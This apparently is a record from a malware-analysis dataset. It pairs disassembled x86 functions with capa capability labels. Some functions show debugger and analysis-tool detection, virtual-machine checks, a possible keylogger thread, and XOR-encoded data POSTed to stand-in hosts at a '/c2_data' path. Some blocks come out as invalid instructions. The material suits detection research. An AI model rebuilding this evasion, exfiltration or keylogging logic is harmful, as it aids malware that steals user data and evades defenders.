joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401064
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
mov eax, 0x1164
call fcn.00402690
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1160], eax
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
mov dword [esp + 0x18], str.procexp.exe
push eax
push 0x1000
lea eax, [esp + 0x74]
mov dword [esp + 0x24], str.ProcessHacker.exe
push eax
mov dword [esp + 0x2c], str.wireshark.exe
mov dword [esp + 0x30], str.tcpview.exe
mov dword [esp + 0x34], str.ollydbg.exe
mov dword [esp + 0x38], str.x32dbg.exe
mov dword [esp + 0x3c], str.x64dbg.exe
mov dword [esp + 0x40], str.idaq.exe
mov dword [esp + 0x44], str.idaq64.exe
mov dword [esp + 0x48], str.idag.exe
mov dword [esp + 0x4c], str.idag64.exe
mov dword [esp + 0x50], str.ghidra.exe
mov dword [esp + 0x54], str.windbg.exe
mov dword [esp + 0x58], str.cheatengine.exe
mov dword [esp + 0x5c], str.autoruns.exe
mov dword [esp + 0x60], str.handle.exe
mov dword [esp + 0x64], str.immunitydebugger.exe
mov dword [esp + 0x68], str.radare2.exe
mov dword [esp + 0x6c], str.hiew.exe
mov dword [esp + 0x70], str.procmon.exe
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x4011f6
mov ebx, dword [esp + 0x10]
xor ebp, ebp
shr ebx, 2
test ebx, ebx
je 0x4011f6
cmp dword [esp + ebp*4 + 0x6c], 0
je 0x4011ed
mov esi, str._unknown_
lea edi, [esp + 0x106c]
push 0xfa
lea eax, [esp + 0x107a]
push 0
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push dword [esp + ebp*4 + 0x6c]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4011c6
lea eax, [esp + 0x68]
push eax
push 4
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x4011c6
push 0x104
lea eax, [esp + 0x1070]
push eax
push dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
xor edi, edi
push dword [esp + edi*4 + 0x18]
lea eax, [esp + 0x1070]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x401211
inc edi
cmp edi, 0x14
jb 0x4011c8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebp
cmp ebp, ebx
jb 0x40114e
mov ecx, dword [esp + 0x1170]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004017df
add esp, 0x1164
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.stop_trying_to_analyze_me_plz_:3_n
call fcn.00401006
pop ecx
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x40122c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
lea esi, [ebp - 0x24]
xor ecx, ecx
push 4
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, 0x40000000
cpuid
mov dword [esi], eax
lea eax, [ebp - 0x20]
mov dword [esi + 4], ebx
push eax
mov dword [esi + 8], ecx
lea eax, [ebp - 0x14]
mov dword [esi + 0xc], edx
mov esi, dword [sym.imp.VCRUNTIME140.dll_memcpy]
push eax
call esi
push 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push eax
call esi
push 4
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
push eax
call esi
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcmp]
lea eax, [ebp - 0x14]
push str.VMwareVMware
push eax
mov byte [ebp - 8], 0
call esi
add esp, 0x2c
test eax, eax
je 0x4012d8
lea eax, [ebp - 0x14]
push str.KVMKVMKVM
push eax
call esi
pop ecx
pop ecx
test eax, eax
je 0x4012d8
lea eax, [ebp - 0x14]
push str.VBoxVBoxVBox
push eax
call esi
pop ecx
pop ecx
pop edi
pop esi
pop ebx
test eax, eax
je 0x4012d8
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.004017df
leave
ret
push str.stop_trying_to_analyze_me_plz_:3_n
call fcn.00401006
pop ecx
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x4012ec
Capabilities:
Connect to http server
Create http request
Encode data using xor
Send data
Send http request

Disassembly:
sub esp, 0x49c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x498], eax
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [esp + 0xc], esi
test esi, esi
je 0x401446
push ebp
mov ebp, dword [sym.imp.WININET.dll_InternetConnectA]
push edi
push ebx
push ebx
push 3
pop eax
push eax
push ebx
push ebx
push 0x1bb
push str.example.com
push esi
mov dword [esp + 0x38], eax
call ebp
mov edi, eax
test edi, edi
jne 0x40136c
push ebx
push ebx
push 3
pop eax
push eax
push ebx
push ebx
push 0x1bb
push str.example2.com
push esi
call ebp
mov edi, eax
test edi, edi
jne 0x40136c
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401444
push ebx
push 0x800000
push ebx
push ebx
push ebx
push str._c2_data
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [esp + 0x1c], eax
test eax, eax
je 0x40143e
push ebx
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
pop ecx
push 3
mov ebp, ebx
pop esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x41
mov byte [esp + ebp + 0x10], dl
inc ebp
cmp ebp, esi
jl 0x4013ad
push 0x405400
mov byte [esp + 0x17], bl
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov esi, dword [esp + 0x18]
mov ebp, dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ecx
mov ecx, eax
test ecx, ecx
jle 0x4013fc
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
mov al, byte [esp + edx + 0x10]
xor byte [ebx + 0x405400], al
inc ebx
cmp ebx, ecx
jl 0x4013e5
lea eax, [esp + 0x10]
push eax
push 0x405400
lea eax, [esp + 0x30]
push str._content_:__s___key_:__s_
push eax
call fcn.00401032
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov ebx, dword [esp + 0x30]
add esp, 0x14
push eax
lea eax, [esp + 0x2c]
push eax
push 0xffffffffffffffff
push str.Content_Type:_application_json_r_nUser_Agent:_TLD10Browser_9.0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push ebx
call ebp
push edi
call ebp
push esi
call ebp
pop edi
pop ebp
mov ecx, dword [esp + 0x4a0]
pop esi
pop ebx
xor ecx, esp
call fcn.004017df
add esp, 0x49c
ret
Function at 0x40177f
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
push str.GetAsyncKeyState
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, 0x4053e0
mov dword [0x4053f8], eax
push edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esp + 8]
push eax
xor eax, eax
push eax
push eax
push 0x4014d3
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
pop ecx
ret

Function at 0x4020bc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4020fb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4020fb
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4020fb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4020fb
cmp dword [ecx + 0x74], 0xe
jbe 0x4020fb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x403230
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x4292fb
mov eax, dword fs:[0]
push eax
sub esp, 0x230
mov eax, dword [0x431570]
xor eax, esp
mov dword [esp + 0x22c], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x431570]
xor eax, esp
push eax
lea eax, [esp + 0x244]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x254]
xor esi, esi
mov dword [esp + 0x14], esi
mov edi, 7
xor eax, eax
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], esi
mov word [esp + 0x20], ax
lea edx, [esp + 0x18]
push edx
push str.SoftwareJBridge
xor ecx, ecx
mov dword [esp + 0x254], esi
push 0x80000002
mov word [esp + 0x44], cx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x4032e2
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push str.Proxy32
push edx
mov dword [esp + 0x2c], 0x208
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp word [esp + 0x38], si
jne 0x40337c
push 0x10
push str.jBridger
push str.Unable_to_locate_proxy_DLL
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
lea ebx, [ebp + 4]
xor eax, eax
mov dword [ebp + 0x18], edi
mov dword [ebp + 0x14], esi
mov word [ebx], cx
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x403320
sub eax, edx
sar eax, 1
mov edi, eax
mov eax, ebp
call fcn.0040c0f0
test al, al
je 0x40336e
mov ecx, dword [ebp + 0x18]
cmp ecx, 8
jb 0x403348
mov eax, dword [ebx]
jmp 0x40334a
mov eax, ebx
lea esi, [edi + edi]
push esi
push 0
lea edx, [ecx + ecx]
push edx
push eax
call fcn.0041031e
add esp, 0x10
cmp dword [ebp + 0x18], 8
mov dword [ebp + 0x14], edi
jb 0x403368
mov ebx, dword [ebx]
xor eax, eax
mov word [esi + ebx], ax
cmp dword [esp + 0x34], 8
jb 0x4033eb
mov ecx, dword [esp + 0x20]
push ecx
jmp 0x4033e3
lea eax, [esp + 0x38]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x403383
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x3c]
lea esi, [esp + 0x20]
call fcn.0040c040
mov edi, 0xb
mov ebx, dword [esp + 0x30]
dec ebx
or eax, 0xffffffff
lea esi, [esp + 0x1c]
call fcn.00407be0
sub edi, 1
jne 0x4033a5
xor edx, edx
push 0xffffffffffffffff
mov dword [ebp + 0x18], 7
mov dword [ebp + 0x14], edi
push edx
mov eax, esi
mov ecx, ebp
mov word [ebp + 4], dx
call fcn.00409fc0
cmp dword [esp + 0x34], 8
jb 0x4033eb
mov eax, dword [esp + 0x20]
push eax
call fcn.00410308
add esp, 4
mov eax, ebp
mov ecx, dword [esp + 0x244]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x22c]
xor ecx, esp
call fcn.004102f9
add esp, 0x23c
ret
Function at 0x404c80
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x42922b
mov eax, dword fs:[0]
push eax
mov eax, 0x1028
call fcn.00421c10
mov eax, dword [0x431570]
xor eax, esp
mov dword [esp + 0x1024], eax
push ebx
push esi
mov eax, dword [0x431570]
xor eax, esp
push eax
lea eax, [esp + 0x1034]
mov dword fs:[0], eax
xor ebx, ebx
push 0x1000
lea eax, [esp + 0x34]
push ebx
push eax
mov esi, ecx
mov dword [esp + 0x18], ebx
call fcn.004158e0
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push str.SoftwareJBridge
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x404d1c
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x34]
push eax
push ebx
push ebx
push esi
push ecx
mov dword [esp + 0x24], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], ebx
mov word [esp + 0x18], ax
mov dword [esp + 0x103c], ebx
cmp word [esp + 0x30], bx
jne 0x404d69
xor ecx, ecx
mov dword [edi + 0x18], 7
mov dword [edi + 0x14], ebx
push 0xffffffffffffffff
mov word [edi + 4], cx
push ebx
lea eax, [esp + 0x1c]
mov ecx, edi
call fcn.00409fc0
cmp dword [esp + 0x2c], 8
jb 0x404dbd
mov edx, dword [esp + 0x18]
push edx
jmp 0x404db5
lea eax, [esp + 0x30]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404d70
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x34]
lea esi, [esp + 0x18]
call fcn.0040c040
xor eax, eax
mov dword [edi + 0x18], 7
mov dword [edi + 0x14], ebx
push 0xffffffffffffffff
mov word [edi + 4], ax
push ebx
mov eax, esi
mov ecx, edi
call fcn.00409fc0
cmp dword [esp + 0x2c], 8
jb 0x404dbd
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00410308
add esp, 4
mov eax, edi
mov ecx, dword [esp + 0x1034]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x1024]
xor ecx, esp
call fcn.004102f9
add esp, 0x1034
ret

Function at 0x404df0
Capabilities:
Parse pe header
Read file via mapping

Disassembly:
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x404e15
xor eax, eax
pop edi
ret
push esi
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
test esi, esi
jne 0x404e39
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop edi
ret
push 0
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
jne 0x404e5d
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop esi
xor eax, eax
pop edi
ret
push ebx
mov ecx, 0x5a4d
xor ebx, ebx
cmp word [eax], cx
jne 0x404e7b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404e7b
movzx ebx, word [ecx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
mov ax, bx
pop ebx
pop esi
pop edi
ret
Function at 0x405bf0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x214
mov eax, dword [0x431570]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push str.SoftwareJBridge
mov ecx, 0x104
lea ebx, [esp + 0x10]
call fcn.00402620
add esp, 4
lea eax, [esp + 8]
push eax
lea ecx, [esp + 8]
push ecx
push 0
push 0x20006
push 0
push 0
push 0
mov edx, ebx
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
pop ebx
test eax, eax
je 0x405c6e
push 0
push str.jBridger
push str.Could_not_create_the_registry_key___please_run_this_program_as_admin_.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004102f9
add esp, 0x214
ret
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp]
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push 0
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x405ca8
push 0
push str.jBridger
push str.Could_not_set_the_event_message_file.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov edx, dword [esp]
push edx
jmp 0x405cac
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004102f9
add esp, 0x214
ret
Function at 0x40dcd0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push 0xffffffffffffffff
push 0x4293e8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push edi
mov eax, dword [0x431570]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
xor edi, edi
xor eax, eax
push 0xffffffffffffffff
mov word [esp + 0x14], ax
mov eax, dword [esp + 0x3c]
push edi
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], edi
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], edi
call fcn.00409fc0
mov eax, ebx
mov dword [esp + 0x30], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x40dd26
sub eax, edx
sar eax, 1
push eax
mov eax, ebx
lea ecx, [esp + 0x10]
call fcn.0040bf60
xor ecx, ecx
mov dword [esi + 0x18], 7
mov dword [esi + 0x14], edi
push 0xffffffffffffffff
mov word [esi + 4], cx
push edi
mov ecx, esi
call fcn.00409fc0
cmp dword [esp + 0x24], 8
jb 0x40dd6f
mov edx, dword [esp + 0x10]
push edx
call fcn.00410308
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
add esp, 0x2c
ret

Function at 0x4100fe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0040fd1b
push eax
push esi
push dword [ebp + 8]
call fcn.0040fcd0
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
pop ebp
xlatb

Function at 0x410136
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ebp
xlatb
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
invalid
stosb byte es:[edi], al
Function at 0x410400
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x4103e2
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp fcn.00410400
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x41045e
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x410445
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x41044e
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x410458
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x41043a
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x4103c4
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x4104ab
dec eax
je 0x4104a2
sub eax, 3
je 0x410499
mov dword [ebp - 4], 0x40
jmp 0x4104c8
mov dword [ebp - 4], 4
jmp 0x4104ae
mov dword [ebp - 4], 0x20
jmp 0x4104ae
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x41047a
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0040fd0b
add ebp, dword [esi - 0x6e]
inc esi
push dword [ebp + 0x14]
push 1
push esi
call edi
mov eax, esi
jmp 0x410506
Function at 0x410c03
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.0040fce9
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.0040fd1b
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040fcd0
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.0040fd0b
leave
les ecx, [ebx + 0x4f]
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x3d4]
mov dword [ebp - 0x28], eax
call fcn.0040fd0b
into
cld
cmp eax, 0xe06580d6
add byte [eax - 0x39ff1e9b], al
loope 0x410d2d
mov byte [ebp - 0x1e], 0x1d
and byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0xa5
mov byte [ebp - 0x1b], 0x87
mov byte [ebp - 0x1a], 0x96
mov byte [ebp - 0x19], 0xb6
mov byte [ebp - 0x18], 0x87
mov byte [ebp - 0x17], 0x8f
mov byte [ebp - 0x16], 0x92
inc ebp
ljmp 0xc6b2
mov byte [ebp - 0x15], 0xb2
invalid

Function at 0x41c969
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x41c99a
call fcn.004155eb
mov dword [eax], esi
call fcn.004155d8
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00410d2b
add esp, 0x14
push 0x16
pop eax
jmp 0x41c9ef
test dword [ebp + 0xc], 0xfffffff9
jne 0x41c976
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41c9c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004155fe
pop ecx
call fcn.004155d8
mov eax, dword [eax]
jmp 0x41c9ef
test al, 0x10
jne 0x41c9ed
test al, 1
je 0x41c9ed
test byte [ebp + 0xc], 2
je 0x41c9ed
call fcn.004155eb
mov dword [eax], 5
call fcn.004155d8
mov dword [eax], 0xd
jmp 0x41c9be
xor eax, eax
pop esi
pop ebp
ret
Function at 0x42201a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004177fa
and dword [ebp - 4], 0
cmp dword [0x433854], 0
mov ebx, eax
jne 0x4220cb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42217c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x42217c
push eax
call fcn.00417788
mov dword [esp], 0x42c6f0
push edi
mov dword [0x433854], eax
call esi
push eax
call fcn.00417788
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x433858], eax
call esi
push eax
call fcn.00417788
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43385c], eax
call esi
push eax
call fcn.00417788
pop ecx
mov dword [0x433864], eax
test eax, eax
je 0x4220cb
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00417788
pop ecx
mov dword [0x433860], eax
mov eax, dword [0x433860]
cmp eax, ebx
je 0x422123
cmp dword [0x433864], ebx
je 0x422123
push eax
call fcn.00417803
push dword [0x433864]
mov esi, eax
call fcn.00417803
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x422123
test edi, edi
je 0x422123
call esi
test eax, eax
je 0x42211a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42211a
test byte [ebp - 0xc], 1
jne 0x422123
or dword [ebp + 0x10], 0x200000
jmp 0x42215c
mov eax, dword [0x433858]
cmp eax, ebx
je 0x42215c
push eax
call fcn.00417803
pop ecx
test eax, eax
je 0x42215c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42215c
mov eax, dword [0x43385c]
cmp eax, ebx
je 0x42215c
push eax
call fcn.00417803
pop ecx
test eax, eax
je 0x42215c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x433854]
call fcn.00417803
pop ecx
test eax, eax
je 0x42217c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42217e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret